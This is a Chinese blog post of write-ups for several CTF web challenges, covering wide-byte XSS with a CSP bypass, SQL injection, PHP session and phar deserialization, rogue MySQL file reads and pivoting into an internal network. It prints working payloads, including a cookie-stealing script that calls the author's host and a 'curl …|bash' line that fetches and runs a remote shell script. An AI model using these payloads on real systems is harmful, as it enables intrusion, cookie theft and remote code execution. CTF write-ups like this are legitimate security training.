Author:颖奇L’Amore

Blog:www.gem-love.com

被Nepnep带躺两天,师傅们都tttttttttttql

有俩题还没来得及写wp 环境没了 算了


happyvacation | 16solved 571pt 
考点一、GIT泄露

扫出来/.git目录,一键githack得到源码

考点二、代码审计

1.customlize.php

在customlize.php(吐槽一下 出题人把单词拼错了)里可以上传,上传采用黑名单模式,没法bypass然后传马

$this->black_list = ['ph', 'ht', 'sh', 'pe', 'j', '=', 'co', '\\', '"', '\''];

2.quiz.php

可以填选择题,存在两个可控参数answer和referer

<?php 
// var_dump($user);
if(isset($_GET['answer'])){
    $answer = $_GET['answer'];
    $user->asker->answer($user, $answer);
    if($user->url->referer != $user->url->page){
        $user->url->location = $user->url->referer;
    }
    $user->url->flag = True;
}
if(isset($_GET['referer'])){
    $referer = $_GET['referer'];
    if($referer != $user->url->page){
        $user->url->referer = $referer;
    }
}
?>

首先是answer,将answer传给$user->asker->answer()方法,跟进:

function answer($user, $answer){
    $this->user = clone $user;
    if($this->right == $answer){
        $this->message = "clever man!";
        return 1;
    }
    else{
        if(preg_match("/[^a-zA-Z_\-}>@\]*]/i", $answer)){
            $this->message = "no no no";
        }
        else{
            if(preg_match('/f|sy|and|or|j|sc|in/i', $answer)){
                // Big Tree 说这个正则不需要绕
                $this->message = "what are you doing bro?";
            }
            else{
                eval("\$this->".$answer." = false;");
                $this->updateList();
            }
        }
        $this->times ++;
        return 0;
    }
}

可以看到这个Asker类的$user属性克隆了User类,然后对$answer进行检查,若不存在危险非法字符则eval()

eval("\$this->".$answer." = false;");

(这里被星盟的杨大树师傅发现了一个非预期,将上传黑名单置为false然后传马,但是发现后就给修复了)

因为User类内的__construct()构造方法实例化了其他所有类:

function __construct($name){
	$this->info = new Info($name);
	$this->uploader = new Uploader();
	$this->url = new UrlHelper();
	$this->asker = new Asker();
}

加上对象克隆,就可以访问任何类下的属性了,也就是说可以构造$answer通过eval()将任意类下的属性置为False

再看quiz.php这里的代码:

<?php 
// var_dump($user);
if(isset($_GET['answer'])){
    $answer = $_GET['answer'];
    $user->asker->answer($user, $answer);
    if($user->url->referer != $user->url->page){
        $user->url->location = $user->url->referer;
    }
    $user->url->flag = True;
}
if(isset($_GET['referer'])){
    $referer = $_GET['referer'];
    if($referer != $user->url->page){
        $user->url->referer = $referer;
    }
}

如果设置了$_GET['referer']且不为index,则将$user->url->referer置位这个referer且不加任何检查;在answer那里又不经过任何检查,将$user->url->referer 赋值给了$user->url->location,跟进到这个location所在的UrlHelper类:

class UrlHelper{

	public $pre;
	public $after;
	public $location;
	public $referer;
	public $flag;
	public $page;

	function __construct(){
		$this->pre = "Location: ";
		$this->after = ".php";
		$this->location = "index";
		$this->referer = "index";
		$this->flag = False;
		$this->page = "index";
	}
[此处部分代码省略]
	function go(){
		if(isset($this->pre) and isset($this->after) and isset($this->location)){
			$dest = $this->pre . $this->location . $this->after;
			header($dest);
		}
		else{
			// Error occured?
			header("Location: index.php");
		}
	}

	function __destruct(){
		if($this->flag){
			if($this->location !== $this->page){
				$this->go();
			}
		}
		ob_end_flush();
	}
}

$this->flag为true时析构方法调用了go()方法执行header($dest)$destpre+location+php后缀拼接而成,而在quiz.php的answer那里只要提交一个answer就会把这个flag置为true了。

因为location是没有任何过滤的完全可控,这里就导致了header注入。用answer将$dest这个前缀UrlHelper->pre置为布尔值false,那么false点运算字符串结果就是那个字符串,就可以实现自定义header,最后拼接上的那个$this->after(.php)就随便用个东西给它闭合了就行。

3.index.php

可以留一个Message,这个Message可控

if(isset($user)){
    if(isset($_GET['message'])){
        $user->leaveMessage($_GET['message']);
    }
    $user->showMessage();
[此处部分代码省略]
}

跟进User类的leaveMessage()方法:

function leaveMessage($message){
	$this->info->leaveMessage($message);
}

跟进Info类的leaveMessage()方法:

function leaveMessage($message){
    if(preg_match('/coo|<|ja|\&|\\\|>|win/i', $message)){
        $this->message = "?";
    }
    else{
        $this->message = addslashes($message);
    }
}

首先是简单的正则验证,然后进行addslashes()操作(该函数作用是将一些字符自动进行反斜线转义)

跟进User类的showMessage()方法,可以将message输出:

function showMessage(){
	echo "<body><script> var a = '{$this->info->message}';document.write(a);</script></body>";
}

可以看到这里输出了<body>标签,然后使用JavaScript的document.write()

4.ask.php

在提问页面,输入正确md5值即可提交给check.php:

<?php
if(isset($_GET['rand'])){
    $rand = $_GET['rand'];
    if(substr(md5($rand), 0, 6) == $_SESSION['rand']){
        // nice! you get it!
        $your_session = session_id();
        header("Location: check.php?id={$your_session}");
    }
    else{
        echo "? It's just simple math problem.";
    }
}
else{
    $md5 = substr(md5(rand(0, 9999)), 0, 6);
    $_SESSION['rand'] = $md5;
}
?>

虽然并不知道check.php什么代码,但是一般这种验证md5然后提交的都是xss题目,index.php也特意输出了js代码,考虑xss

考点三、Bypass CSP

可以发现存在CSP:

<meta http-equiv="Content-Security-Policy" content="style-src 'self'; script-src 'unsafe-inline' http://159.138.4.209:1002/; object-src 'none'; frame-src 'self'">

预备知识:

使用 Wave 文件绕过 CSP 策略 

因为题目存在上传头像的地方,上传采用的是黑名单过滤,可以上传wave文件,wave文件内容如下:

aaaaaaaaaaaaaaa/*bbbbbbbbbbbbbbbbbbb*/='test';window.open('http://www.gem-love.com:12358/?'+document.cookie);

在customlize.php上传就可以得到了上传后的路径。

考点四、宽字节XSS

前段时间codegate2020有个用header()来bypass CSP的题目,是通过设置错误的HTTP返回代码,导致CSP失效(实际上是<meta>被挤出了<head>)但是这个题目因为addslashes()以及闭合的单引号,并没有办法绕过来执行xss。

经测试,一个header()只能设置一个HTTP Header字段,如果用它设置了HTTP状态,就没办法继续做下去了。

关于这个点,P神的PPT里给了绕过方法:通过header()设置编码为gbk导致JS代码注入

由于header()可控,首先用eval()header()中的pre置为false,然后用referer控制location设置编码为gbk,再随便弄个东西把后面的php后缀闭合,就实现了宽字节,payload:

http://159.138.4.209:1002/quiz.php?referer=Content-Type: text/html; charset=GBK; y1ng: &answer=user->url->pre

可以看到,header()已经成功设置了编码,页面内显示的中文也变了,说明GBK成功

在index.php也成功gbk编码了

留message就可以进行js逃逸单引号实现xss了。

宽字节xss分析:

<body><script> var a = '{$this->info->message}';document.write(a);</script></body>

假设输入的message内容是:

%aa'; var y1ng=1;//

经过addslashes()将分号转义后:

%aa\'; var y1ng=1;//
(urlencode)%aa%5c%27; var y1ng=1;//

由于宽字节,%aa和%5c组成了一个汉字,导致\不再用来转义单引号,单引号成功逃逸,整个js代码就成了:

<body><script> var a = '猏'; var y1ng=1;//;document.write(a);</script></body>

可以看到 var y1ng就逃逸出来了,于是我们可以通过这种方式构造任意JS代码了。

绕过关键字过滤:

虽然成功进行XSS了,但是cookie被过滤了,需要绕过。随便搜索xss绕过姿势应该就能搜到“JS还原函数”String.fromCharCode()

payload:

%aa%27; var y=document.createElement(String.fromCharCode(115,99,114,105,112,116));y.src=String.fromCharCode(117,112,108,111,97,100,47,55,55,55,100,50,50,49,48,49,101,98,52,100,97,56,57,48,56,52,57,97,53,101,53,100,57,97,101,54,48,100,98,46,119,97,118,101);document.body.appendChild(y);//

其中第一个String.fromCharCode()得到script,第二个得到的是上传的wave文件的路径,然后远程加载这个wave来绕过csp

来到ask.php,算一下md5(老套路了不贴脚本了),提交,就打回来flag了

其实是一血,不过因为认识出题师傅,当时出题时候也参考了我之前写的codegate2020的writeup,就一直没交flag


sqlcheckin | 275solved 68pt

点viewsource得到源码:

<?php 
    // ...
    $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
    $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
    $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
    $stmt->execute();
    $result = $stmt->fetchAll();
    if (count($result) > 0) {
        if ($result[0]['username'] == 'admin') {
            include('flag.php');
            exit();
    // ....

发现是PDO,以前做的PDO都是宽字节注入,这个没宽字节,一直没有思路。

后来把关键处代码丢进百度,直接搜到了原题…..

https://gksec.com/HNCTF2019-Final.html#toc-sqlsql

  • 账号:admin
  • 密码:’-0-‘

登录得到flag。

暂时还不清楚这个东西的原理,等比赛结束后本地搭个环境研究一下。


Hackme | 62solved 246pt

Mrkaixin师傅出的题

考点一、源码泄露

扫到源码

考点二、session反序列化

在login.php内包含了init.php,其中设置了序列化处理器,并且session是以文件形式保留的

session_save_path('session');
ini_set('session.serialize_handler','php_serialize');
session_start();

而profile.php和core/init.php中使用了另外的序列化处理器:

session_save_path('../session');
ini_set('session.serialize_handler', 'php');
session_start();

考点就很明显了。handler的不同点在于:

  • php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
  • php 键名+竖线(|)+经过serialize()函数处理过的值
  • php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
  • 参考 https://www.cnblogs.com/hf99/p/9746038.html

正好可以发现,在upload_sign.php中,$_SESSION['sign']是完全可控的

public function __construct()
{
    if (isset($_POST['sign'])) {
        $this->sign = $_POST['sign'];
    } else {
        $this->sign = "这里空空如也哦";
    }
}

public function upload()
{
    if ($this->checksign($this->sign)) {
        $_SESSION['sign'] = $this->sign;
        $_SESSION['admin'] = $this->admin;
    } else {
        echo "???";
    }
}

而core中要求我们的$_SESSION['admin']为1

function check_session($session)
{
    foreach ($session as $keys => $values) {
        foreach ($values as $key => $value) {
            if ($key === 'admin' && $value === 1) {
                return true;
            }
        }
    }
    return false;
}
if (check_session($_SESSION)) {
    #变成管理员吧,奥利给
} else {
    die('只有管理员才能看到我哟');
}

所以我们可以控制sign这个session,利用序列化handler的差异进行session反序列化,将$_SESSION['admin']反序列化为1,本地生成序列化:

<?php
class info
{
    public $admin = 1;
//    public $sign;
}

$y1ng = new info();
echo serialize($y1ng);

得到:

O:4:"info":1:{s:5:"admin";i:1;}

在upload_sign.php进行POST提交以下内容:

sign=12123|O:4:"info":1:{s:5:"admin";i:1;}

可以看下现在的session变成了什么:

a:3:{s:4:"name";s:4:"y1ng";s:4:"sign";s:37:"12123|O:4:"info":1:{s:5:"admin";i:1;}";s:5:"admin";i:0;}

访问core/index.php 可以发现session验证成功,得到了core的源代码

<?php

require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
    #hint : core/clear.php
    $sandbox = './sandbox/' . md5("[email protected]^" . $_SERVER['REMOTE_ADDR']);
    echo $sandbox;
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_POST['url'])) {
        $url = $_POST['url'];
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
                echo "you are hacker";
            } else {
                $res = parse_url($url);
                if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
                    $code = file_get_contents($url);
                    if (strlen($code) <= 4) {
                        @exec($code);
                    } else {
                        echo "try again";
                    }
                }
            }
        } else {
            echo "invalid url";
        }
    } else {
        highlight_file(__FILE__);
    }
} else {
    die('只有管理员才能看到我哟');
}
考点三、BYPASS

这里对URL进行了匹配过滤:

if (filter_var($url, FILTER_VALIDATE_URL)) {
	if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
		echo "you are hacker";
	} else {
		$res = parse_url($url);
		if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
			$code = file_get_contents($url);
			if (strlen($code) <= 4) {
				@exec($code);
			} else {
				echo "try again";
			}
		}
	}
}

过滤了data://,要求必须是127.0.0.1,还要file_get_contents(),后来shana师傅告诉这么做的:

compress.zlib://data:@127.0.0.1/text/palin,ls

compress.zlib://data:@127.0.0.1?;base64,bHM=

然后命令执行就和hitcon那个差不多,直接拿过来脚本跑一下,不过记得要设置一下cookie为PHPSESSID才行。


webct | 38solved 350pt

这题是Shana师傅和glotozz师傅最先做出来的。预备知识:

https://paper.seebug.org/1112/

考点一、MySQL客户端任意文件读取

一开始发现有个上传绕不过去,还有个mysql,看着像是mysql的任意文件读取,但是没搞懂上传有什么用,测试了一会没搞出来。束手无策时候,群里P3rh4ps师傅说差20s就拿到了一血,这个题巨弱智,瞬间心态崩了

然后丢进扫描器才发现有源码泄露

config.zip中是一些类 主要的有一个Db类还有就是文件操作相关的:

class Db
{
    public $ip;
    public $user;
    public $password;
    public $option;
    function __construct($ip,$user,$password,$option)
    {
        $this->user=$user;
        $this->ip=$ip;
        $this->password=$password;
        $this->option=$option;
    }
    function testquery()
    {
        $m = new mysqli($this->ip,$this->user,$this->password);
        if($m->connect_error){
            die($m->connect_error);
        }
        $m->options($this->option,1);
        $result=$m->query('select 1;');
        if($result->num_rows>0)
        {
            echo '测试完毕,数据库服务器处于开启状态';
        }
        else{
            echo '测试完毕,数据库服务器未开启';
        }
    }
}

在testsql.php中实例化这个Db类,并调用testquery()方法:

$m = new db($ip,$user,$password,$option);
$m->testquery();

另外就是可以上传图片,存储到uploads目录下,上传这里没办法绕过。可以看到这个mysql的option可控,可能存在任意文件读取。首先在服务器上起rogue_mysql脚本:

https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

https://github.com/allyshka/Rogue-MySql-Server

这有2个版本的脚本,第一个是原作者的脚本

然后去连接对应ip:port,用户名密码都随便写,像这样:

shana师傅告诉的,不要写MYSQLI_OPT_LOCAL_INFILE,改成8。后来问P3rh4ps师傅说是查手册查到的,这地方接收到的是个int参数。不过我本地搭环境写的MYSQLI_OPT_LOCAL_INFILE确实能读到,很迷

但是这样并没有读取flag成功。当然了,如果这就读flag了那upload功能就没用处了。

考点二、Phar反序列化RCE

看下与文件上传有关的类:

class File
{
    [此处部分代码已省略]
    function xs()
    {
        echo '请求结束';
    }
}

class Fileupload
{
    public $file;
    [此处部分代码已省略]
    function __destruct()
    {
        $this->file->xs();
    }
}
class Listfile
{
    public $file;
    [此处部分代码已省略]
    function listdir(){
        system("ls ".$this->file)."<br>";
    }
    function __call($name, $arguments)
    {
        system("ls ".$this->file);
    }
}

可以看到Listfile类中,存在__call()魔术方法执行system()函数,

function __call($name, $arguments)
{
    system("ls ".$this->file);
}

__call()方法调用类中不存在的方法会被执行,而Fileupload类正好会调用$this->file->xs(),如果将Fileupload类的$file实例化为Listfile对象,就会调用不存在的xs()方法,就调用了__call()魔术方法来执行system()函数。

继续看可以发现,这里的system()函数是ls 后面拼接上了$this->file,如果我们控制了$this->file,进行两条命令联合执行,就能实现命令注入。

所以,假设我们能够对这两个上传有关类进行反序列化变量覆盖,就实现了RCE。HardPHP那个题的hint正好告诉了反序列化并不只有unserialize()一种,加之MySQL的文件读取,可以触发phar反序列化进行RCE,生成phar:

<?php
class Fileupload
{
    public $file;
}
class Listfile
{
    public $file;
}

$y1ng = new Fileupload();
$y1ng->file = new Listfile();
//这里设置你想要执行的命令
$y1ng->file->file = '; your command'; 

$phar = new Phar("y1ng.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($y1ng); 
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();

将生成的phar修改为gif结尾,上传,由PHPUAF题可以得知web根目录,其实很多目录都是这个,所以得到phar的目录

phar:///var/www/html/uploads/3c50460b87c42b8e37f102ebdebeda55/16e45eeda7cc58d39621ec8886c53293.gif

然后去读取这个phar文件,即可触发phar反序列化反弹回shell


nothardweb | 12solved 645pt | Solved BY Shana Associated By Y1ng

这个题主要是Shana师傅一直肝,我只是帮了一丢丢小忙(我是废物

考点一、源码泄露

扫描发现www.zip得到源码:

<?php
    session_start();
    error_reporting(0);
    include "user.php";
    include "conn.php";
    $IV = "********";// you cant know that;
    if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
        if(!isset($_SESSION['key'])){
            $_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
            $_SESSION['iv'] = $IV;
        }
        $username = "guest";
        $o = new User($username);
        echo $o->show();
        $ser_user = serialize($o);
        $cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
        setcookie("user", base64_encode($cipher), time()+3600);
        setcookie("hash", md5($ser_user), time() + 3600);
    }
    else{
        $user = base64_decode($_COOKIE['user']);
        $uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
        if(md5($uid) !== $_COOKIE['hash']){
            die("no hacker!");
        }
        $o = unserialize($uid);
        echo $o->show();
        if ($o->username === "admin"){
            $_SESSION['name'] = 'admin';
            include "hint.php";
        }
    }
考点二、CBC(被非预期)

刚放出来时候看了会,不会cbc还原不出来IV,放弃了

后来一直到了凌晨1点多,shana师傅突然整出来一个非预期:

首先,如果user和hash这俩cookie存在,就不会随机新的Session。这个代码难搞的地方就在于IV和Key,但是IV和Key都是从Session来的,如果没session不就没有他们了吗?于是可以把session删掉让IV和Key置空,再照着代码的逻辑自己计算出admin对应的hash和user这俩cookie,就可以反序列化将用户置为admin

<?php
class User{
    public $username;
}

$y1ng = new User();
$y1ng->username = 'admin';

$user = serialize($y1ng);
$sessionUser = base64_encode(openssl_encrypt($user, 'des-cbc', '', 0, ''));
echo $sessionUser . "<br>";
echo "sessionHash: " . md5($user);
b3hIekw5Mk82WTQwbUk1M3RHYThQR0V4UmVZeHVSdE1ranZRYk43eksyVXhaTnFQZ2l1YkRKc0dpd1Z5cUlzVg==
sessionHash: abc2f600e79557ef90ca4e07516b486f

然后将PHPSESSID删掉,将cookie替换成计算出来的这两个字符串,刷新,admin登陆成功

考点三、绕过限制命令执行

包含了hint.php后,右键查看源代码可以看到如下代码

<?php
    if(isset($_GET['cc'])){
        $cc = $_GET['cc'];
        eval(substr($cc, 0, 6));
    }
    else{
        highlight_file(__FILE__);
    }
?>

eval()限制了长度为6字符,但是把输入的东西都存到$cc变量中了,所以只要反引号执行$cc变量,就能实现RCE了,payload:

?cc=`$cc`;curl%20http://gem-love.com/shell.txt|bash
考点四、SSRF内网突破

弹回shell,发现目标是内网主机

直接是打不开的,现在只有内网边界的一台机器弹回了shell,所以需要做流量转发,把弹shell 的机器当做跳板机。这里我们用ew

利用 ew 轻松穿透目标多级内网

服务器上:

./-s rcsocks -l 12345 -e 1234

跳板机上:

./ew -s rssocks -d vps的ip -e 1234

然后浏览器设置SOCKS代理,vps的ip:12345

设置好之后,打开10.10.2.13:8000,成功访问了目标

考点五、Tomcat PUT

老版本的Tomcat,可以直接getshell

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615) 

getshell后得到flag.


nweb | 34solved 377pt

因为环境挂了,没办法写详细wp了。

这个题被队里一个匿名大佬拿了first blood,后来我自己做了一下,就前面刚开始需要点脑洞,修改type改成多少我忘了,后面就是布尔盲注,select和from双写绕过一下,脚本跑一下按位往出注

flag最后只能注出来一半,flag里有rogue_mysql关键字,还注出密码的md5,解码后登录,有mysql连接。用一下rogue_mysql的脚本,参考上面的MySQL客户端文件读取,然后连过来,后半段flag就带出来了

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/1884.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image